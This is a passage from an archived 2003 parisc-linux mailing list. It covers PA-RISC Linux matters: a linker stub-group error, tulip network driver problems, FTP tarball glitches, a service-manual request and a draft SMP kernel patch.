All I know is that the 128 node IA64 cluster rolled out with
SystemImager in a single day. And that was because you need to manually
create all the silly enablement/tool/fat partitions :}

I think I'm going to give SystemImager a shot with my PA cluster, once I
get free time :}

c.



From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Where can I get an N4000 service manual?
Date: Thu, 16 Jan 2003 16:10:29 -0800 (PST)
Lines: 37
Approved: news@gmane.org
Message-ID: <20030117001029.27366.qmail@web12505.mail.yahoo.com>
References: <20030116141049.ZTIG14518.web4-rme.xtra.co.nz@[127.0.0.1]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-1170375140-1042762229=:26430"
X-Trace: ger.gmane.org 1416622129 20390 80.91.229.3 (22 Nov 2014 02:08:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:49 +0000 (UTC)
To: ghub005@xtra.co.nz, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 17:10:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12505.mail.yahoo.com (web12505.mail.yahoo.com [216.136.173.197])
	by dsl2.external.hp.com (Postfix) with SMTP id 036E94829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 17:10:29 -0700 (MST)
Original-Received: from [156.153.255.126] by web12505.mail.yahoo.com via HTTP; Thu, 16 Jan 2003 16:10:29 PST
In-Reply-To: <20030116141049.ZTIG14518.web4-rme.xtra.co.nz@[127.0.0.1]>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17440

--0-1170375140-1042762229=:26430
Content-Type: text/plain; charset=us-ascii


Gavin,
Unfortunatly from what I am told, you can't....UNLESS you pay for it.  Me as a Customer Engineer, are not allowed to give customers the "Service" manuals without them paying for them.  If you have hardware questions, you can post them here and as long as they aren't HP proprietary subjects I or others here can answer them.  Besides the N Class "Service" manual changes constantly as new hardware is released.  The N Class currently has a choice of 3 different system boards, 2 different GSP models, 2 different processor support modules, and 5 different processors.
derek
 Gavin Hubbard <ghub005@xtra.co.nz> wrote:Hi Lads

I need a service manual for an N4000 (440MHz rev) server. The public manual on the docs.hp.com website is a piece of rubbish (I think it might be the modern equivalent of the "no user servicable parts inside" label).

I could not find the info I need on ITRC. Does anybody know where I can get a copy of the service manual?

Regards,

Gavin

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-1170375140-1042762229=:26430
Content-Type: text/html; charset=us-ascii

<P>Gavin,
<P>Unfortunatly from what I am told, you can't....UNLESS you pay for it.&nbsp;&nbsp;Me as a Customer Engineer, are not allowed to give customers the "Service" manuals without them paying for them.&nbsp; If you have&nbsp;hardware questions, you can post them here and as long as they aren't HP proprietary subjects I or others here can answer them.&nbsp; Besides the N Class "Service" manual changes constantly as new hardware is released.&nbsp; The N Class currently has a choice of 3 different system boards, 2 different GSP models, 2 different processor support modules, and 5 different processors.
<P>derek
<P>&nbsp;<B><I>Gavin Hubbard &lt;ghub005@xtra.co.nz&gt;</I></B> wrote:
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Hi Lads<BR><BR>I need a service manual for an N4000 (440MHz rev) server. The public manual on the docs.hp.com website is a piece of rubbish (I think it might be the modern equivalent of the "no user servicable parts inside" label).<BR><BR>I could not find the info I need on ITRC. Does anybody know where I can get a copy of the service manual?<BR><BR>Regards,<BR><BR>Gavin<BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Yahoo! Mail Plus</a> - Powerful. Affordable. <a href="http://rd.yahoo.com/mail/mailsig/*http://mailplus.yahoo.com">Sign up now</a>
--0-1170375140-1042762229=:26430--


From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc 3.0 error
Date: Fri, 17 Jan 2003 07:48:53 +0100
Lines: 75
Approved: news@gmane.org
Message-ID: <3E1AA8D500001D40__23576.6533915468$1416622129$gmane$org@ocpmta8.freegates.net>
References: <200301161751.h0GHpVQX002526@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622129 20391 80.91.229.3 (22 Nov 2014 02:08:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 23:49:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEE034829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 Jan 2003 23:49:06 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18ZQJL-0001vq-00; Fri, 17 Jan 2003 07:49:03 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 17 Jan 2003 07:48:53 +0100
In-Reply-To: <200301161751.h0GHpVQX002526@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17441

Hi Dave,

>
>> /usr/bin/ld: .libs/libTKernel.la-478.o(.text.1+0x37798): cannot reach
00000387__ZNSolsEPFRSoS_E+0,
>> recompile with -ffunction-sections
>> /usr/bin/ld: .libs/libTKernel.la-478.o(.text.1+0x37798): cannot handle=

>R_PARISC_PCREL17F
>
>> As it is a very long job (more then 12h) what would it be better:
>> 1) simply following advise: "recompile with -ffunction-sections"
>
>Compiling with -ffunction-sections will not fix this problem.  This is
a
>problem with the linker and the part of the error message about recompil=
ing
>with -ffunction-sections is bogus.  The clue is the offset value which
>is within limits.  You have hit a compilation with many small functions
>and the stub group section has overflowed.
>
>Before you trash the build, try using the ld option --stub-group-size
>to set the maximum size of a group of input sections that can be handled=

>by one stub section.  If the link is done with gcc, add something like
>"-Wl,--stub-group-size,-225000" to LDFLAGS.  You want the stub group
>size as large as possible but it can't be larger than 240000.  Negative
>values cause stubs to be located before their branches.  Positive
>stub group sizes allows to two groups of input sections, one before
>and one after each stub section (ld --help).
>
>GCC uses pc relative branches for calls if the distance to the beginning=

>of the translation unit is less than 240000.  It doesn't know how big
>the translation unit is at the time this decision is made, so using
>positive stub group values may cause problems.
>
>There was a bug in GCC's distance calculation under linux.  This is
>fixed in 3.2.2 and later.  3.2.2 is not released yet.  3.3 is coming
>soon (Feb. 15?).
>

Thanks for explanation, clear ;)

>> 2) upgrade directly to gcc-3.2
>
>Won't fix the above.
>
>If you using a PA 2.0 machine, you could use the -mpa-risc-2-0 option.

No :(

>This increases the branch range to 22 bits and the maximum size of the
>stub group section.
>
>I would recommend using 3.3 for C++ builds but this is for other
>reasons.
>
gcc-snapshot may be (already install) or tool chain (it failled for me la=
st
time but I can come back to this before?)

Thanks,
    Joel



*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interesting network card ...
Date: Thu, 16 Jan 2003 23:54:27 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20030117065427.GA11137@dsl2.external.hp.com>
References: <20030115085619.GA17760@aurinko.ntc.nokia.com> <20030116021111.GD8543@dsl2.external.hp.com> <20030116093028.GD17760@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622129 20393 80.91.229.3 (22 Nov 2014 02:08:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jan 16 23:54:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 7EFE84829; Thu, 16 Jan 2003 23:54:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030116093028.GD17760@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17442

On Thu, Jan 16, 2003 at 11:30:28AM +0200, Nahkola Mikko wrote:
> > ...a newer kernel would be more interesting.
> 
> Recommendations?
...
> Any ready-built package that I should try,
...

Ideally, our CVS kernels: 32-2.4.20-pa21.tar.gz
autobuilt 32-bit kernels are on ftp.parisc-linux.org/kernels/32/ 
I can't say if they work "just fine" on C240 or not though
since I don't test that.

> > This does sound like a bug (fixed) in the tulip driver relating to
> > MII initialization. But I'm surprised to see it manifest on a C240.
> 
> What do you mean, surprised to see it manifest on a C240? How so?

The original problem seemed to be a CPU timing problem where the PHY reset
was not recovering faster than the CPU could pound down the next accesses
to the MII. I've only seen this on problem systems with 550Mhz or
faster CPUs (both parisc and ia64).

The fix is to follow the 802.x spec which describes the MII register
set and how to properly do a MII reset (involves some polling).
Details should be in the parisc-linux mail archive or lkml.

> BTW, the NIO 100BT is an interesting beast. It (or the driver) is the 
> only reason why one of our HP-UX boxes only gets about half an year max 
> uptime usually ... and has other "interesting" "features". 

If you have extras of those, I know someone who wants one.

> Notably it is a higher revision than the builtin adapter, and therefore I 
> wouldn't expect to need the de4x5 driver.

I don't either. I thought we had the tulip cards working just fine.

cheers,
grant


From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Interesting network card ...
Date: Fri, 17 Jan 2003 11:20:38 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <20030117092038.GK17760@aurinko.ntc.nokia.com>
References: <20030115085619.GA17760@aurinko.ntc.nokia.com> <20030116021111.GD8543@dsl2.external.hp.com> <20030116093028.GD17760@aurinko.ntc.nokia.com> <20030117065427.GA11137@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416622130 20395 80.91.229.3 (22 Nov 2014 02:08:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ext Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 17 02:20:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mgw-x1.nokia.com (mgw-x1.nokia.com [131.228.20.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8E4B487D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Jan 2003 02:20:51 -0700 (MST)
Original-Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id h0H9Jr005346
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Jan 2003 11:19:53 +0200 (EET)
Original-Received: from esebh003.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T5fd8473cacac158f21083@esvir01nok.ntc.nokia.com>;
 Fri, 17 Jan 2003 11:20:40 +0200
Original-Received: from aurinko.ntc.nokia.com ([172.22.105.49]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.5329);
	 Fri, 17 Jan 2003 11:20:39 +0200
Original-Received: (from mnahkola@localhost)
	by aurinko.ntc.nokia.com (8.11.6/8.11.6) id h0H9KcK03256;
	Fri, 17 Jan 2003 11:20:39 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <20030117065427.GA11137@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-OriginalArrivalTime: 17 Jan 2003 09:20:39.0643 (UTC) FILETIME=[B3916AB0:01C2BE09]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17443

On Thu, Jan 16, 2003 at 11:54:27PM -0700, ext Grant Grundler wrote:
> On Thu, Jan 16, 2003 at 11:30:28AM +0200, Nahkola Mikko wrote:

> > > ...a newer kernel would be more interesting.
> > Recommendations? Any ready-built package that I should try,

> Ideally, our CVS kernels: 32-2.4.20-pa21.tar.gz
> autobuilt 32-bit kernels are on ftp.parisc-linux.org/kernels/32/ 
> I can't say if they work "just fine" on C240 or not though
> since I don't test that.

Installed 32-2.4.20-pa20 as the -21 only had the Config, no vmlinux or 
System.map there. 

> > > This does sound like a bug (fixed) in the tulip driver relating to
> > > MII initialization. But I'm surprised to see it manifest on a C240.
> > What do you mean, surprised to see it manifest on a C240? How so?

> The original problem seemed to be a CPU timing problem where the PHY reset
> was not recovering faster than the CPU could pound down the next accesses

> The fix is to follow the 802.x spec which describes the MII register
> set and how to properly do a MII reset (involves some polling).
> Details should be in the parisc-linux mail archive or lkml.

Well, at any rate, it doesn't complain about tulip0/eth0 anymore ... but 
it still doesn't pass any traffic or obey mii-tool. 
"10 Mbit, half duplex, autonegotiation complete, remote fault, link ok" 
... even after "mii-tool -F 100baseTx-HD eth0".

Looks better now anyway ;-/

> > BTW, the NIO 100BT is an interesting beast. It (or the driver) is the 
> > only reason why one of our HP-UX boxes only gets about half an year max 
> > uptime usually ... and has other "interesting" "features". 

> If you have extras of those, I know someone who wants one.

No extras, sorry. They're in real use. (don't tell me that's a bad choice 
- well, if you know of something else to get a H to do 100BT ...)

> > Notably it is a higher revision than the builtin adapter, and therefore I 
> > wouldn't expect to need the de4x5 driver.
> I don't either. I thought we had the tulip cards working just fine.

Well, the builtin adapter isn't doing "just fine" either, but that may be 
firmware-related - when set to 100-HD with mii-tool it goes to 100-FD or 
some such that the hub (yes) doesn't like at all. I suppose I should get 
around to updating the box's firmware. 
 
Oh well, it autonegotiates to 10HD and that works. The other end is a HP 
J3294A (ProCurve 10/100 hub) that obivously can't do anything FD ... and 
yes, I did use other stuff to test the 6911 too. 



And additionally, there's some (non-network-related?) stuff in dmesg that 
I don't remember seeing before, "HP SDC: Transaction add failed: 
transaction already queued?" Is that the HIL stub or something? Should I 
pursue that too?


-- 
Mikko Nahkola   <mikko.nahkola@nokia.com>
Tre-IN sysadmin <mnahkola@trein.ntc.nokia.com>


From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS checkouts on ftp server
Followup-To: gmane.linux.ports.hppa
Date: Fri, 17 Jan 2003 18:46:25 +0800
Lines: 42
Approved: news@gmane.org
Message-ID: <20030117184623.C23928@neep.com.au>
References: <20030115122121.C799@neep.com.au> <20030115131651.F26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622130 20397 80.91.229.3 (22 Nov 2014 02:08:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:50 +0000 (UTC)
To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 17 02:35:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (p035.sw02.auto.usertools.net [202.154.81.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id A0EA74829
	for <parisc-linux@parisc-linux.org>; Fri, 17 Jan 2003 02:35:53 -0700 (MST)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id SAA00275
	for parisc-linux@parisc-linux.org; Fri, 17 Jan 2003 18:46:27 +0800
Mail-Followup-To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20030115131651.F26554@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Jan 15, 2003 at 01:16:51PM +0000
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17444

Matthew Wilcox said:
> On Wed, Jan 15, 2003 at 12:21:23PM +0800, Andrew Shugg wrote:
> > I was trawling through ftp.parisc-linux.org/cvs looking for a tarball of
> > the linux-2.5 tree and couldn't see anything, apart from a /cvs/2.5
> > directory (which is currently empty).
> 
> Those aren't currently being generated (AFAIK).  What _is_ being generated
> are the patches against upstream: http://ftp.parisc-linux.org/2.5/kernel-src/

Ah yes, I saw those.  But then I'll need to make a vanilla Linus tree,
and I am lazy.  I mean, streamlined and efficient.  =)

> > Is there enough disk space to do a linux-2.5 tarball for the FTP server?
> 
> Yes, certainly.  Do you still want that, given the existance of these
> patches?

It'd be nice.  Yes, I'd like it, if it's not a problem for anyone.
Otherwise I'll try the above method, or slowly drag it out of CVS.  I'm
assuming that occasional linux-2.5 tarballs might be useful for people
other than me of course ...

> > Also the /cvs directory contains a few files that look like stuff-ups
> > from the CVS tarball roller: linux-.tar.gz and patch-.diff.gz ...
> 
> I can see them... but I can also see the CVS scripts are still running.
> Possibly they'll be renamed later.

Doesn't seem to be; they're empty files (though > 0 bytes from gzip).  I
think the checkout script is using an empty variable, eg linux-$i.tar.gz
or whatever.  The 'latest' softlinks are to these empty files.  I can't
see any likely-looking tarball-rolling scripts in CVSROOT/ so I'm unable
to investigate further.

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zwane Mwaikambo <zwane@holomorphy.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH][2.5] smp_call_function_on_cpu for PARISC
Date: Fri, 17 Jan 2003 04:51:11 -0500 (EST)
Lines: 108
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0301170440560.24250-100000__7495.7248908051$1416622130$gmane$org@montezuma.mastecende.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622130 20399 80.91.229.3 (22 Nov 2014 02:08:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:50 +0000 (UTC)
Cc: Andrew Morton <akpm@digeo.com>,
	<parisc-linux@lists.parisc-linux.org>, <willy@debian.org>
To: Linux Kernel <linux-kernel@vger.kernel.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 17 02:50:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from montezuma.mastecende.com (modemcable092.130-200-24.mtl.mc.videotron.ca [24.200.130.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE58B4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 Jan 2003 02:50:37 -0700 (MST)
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by montezuma.mastecende.com (8.12.5/8.12.5) with ESMTP id h0H9pBcA024983;
	Fri, 17 Jan 2003 04:51:12 -0500
X-X-Sender: zwane@montezuma.mastecende.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17445

This patch adds an smp_call_function which accepts a cpu bitmask instead 
of only doing a broadcast. One thing though, where is hweight64 on parisc?

	Zwane

Index: linux-2.5.58-cpu_hotplug/arch/parisc/kernel/smp.c
===================================================================
RCS file: /build/cvsroot/linux-2.5.58/arch/parisc/kernel/smp.c,v
retrieving revision 1.1.1.1
diff -u -r1.1.1.1 smp.c
--- linux-2.5.58-cpu_hotplug/arch/parisc/kernel/smp.c	14 Jan 2003 07:00:30 -0000	1.1.1.1
+++ linux-2.5.58-cpu_hotplug/arch/parisc/kernel/smp.c	17 Jan 2003 09:47:58 -0000
@@ -371,7 +371,89 @@
 	return 0;
 }
 
+/*
+ * smp_call_function_on_cpu - Runs func on all processors in the mask
+ *
+ * @func: The function to run. This must be fast and non-blocking.
+ * @info: An arbitrary pointer to pass to the function.
+ * @nonatomic: currently unused.
+ * @wait: If true, wait (atomically) until function has completed on other CPUs.
+ * @mask The bitmask of CPUs to call the function
+ * 
+ * Returns 0 on success, else a negative status code. Does not return until
+ * remote CPUs are nearly ready to execute func or have executed it.
+ *
+ */
 
+int
+smp_call_function_on_cpu (void (*func) (void *info), void *info, int retry, int wait,
+			  unsigned long mask)
+{
+	struct smp_call_struct data;
+	long timeout;
+	static spinlock_t lock = SPIN_LOCK_UNLOCKED;
+	int num_cpus = hweight32(mask), cpu, i, ret;
+	
+	cpu = get_cpu();
+	if ((1UL << cpu) & mask) {
+		ret = -EINVAL
+		goto out;
+	}
+
+	data.func = func;
+	data.info = info;
+	data.wait = wait;
+	atomic_set(&data.unstarted_count, num_cpus);
+	atomic_set(&data.unfinished_count, num_cpus);
+
+	if (retry) {
+		spin_lock (&lock);
+		while (smp_call_function_data != 0)
+			barrier();
+	}
+	else {
+		spin_lock (&lock);
+		if (smp_call_function_data) {
+			spin_unlock (&lock);
+			ret = -EBUSY;
+			goto out;
+		}
+	}
+
+	smp_call_function_data = &data;
+	spin_unlock (&lock);
+	
+	/*  Send a message to the target CPUs and wait */
+	for (i = 0; i < NR_CPUS; i++) {
+		if (!cpu_online(i) || !(mask & (1UL << i)))
+			continue;
+		send_IPI_single(i, IPI_CALL_FUNC);
+	}
+
+	/*  Wait for response  */
+	timeout = jiffies + HZ;
+	while ( (atomic_read (&data.unstarted_count) > 0) &&
+		time_before (jiffies, timeout) )
+		barrier ();
+
+	/* We either got one or timed out. Release the lock */
+
+	mb();
+	smp_call_function_data = NULL;
+	if (atomic_read (&data.unstarted_count) > 0) {
+		printk(KERN_CRIT "SMP CALL FUNCTION TIMED OUT! (cpu=%d)\n",
+		      cpu);
+		ret = -ETIMEDOUT;
+		goto out;
+	}
+
+	while (wait && atomic_read (&data.unfinished_count) > 0)
+			barrier ();
+	ret = 0;
+out:
+	put_cpu_no_resched();
+	return ret;
+}
 
 /*
  *	Setup routine for controlling SMP activation
-- 
function.linuxpower.ca





From - Thu Nov 08 21:26:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH][2.5] smp_call_function_on_cpu for PARISC
Date: Fri, 17 Jan 2003 08:15:05 -0800
Lines: 11
Approved: news@gmane.org
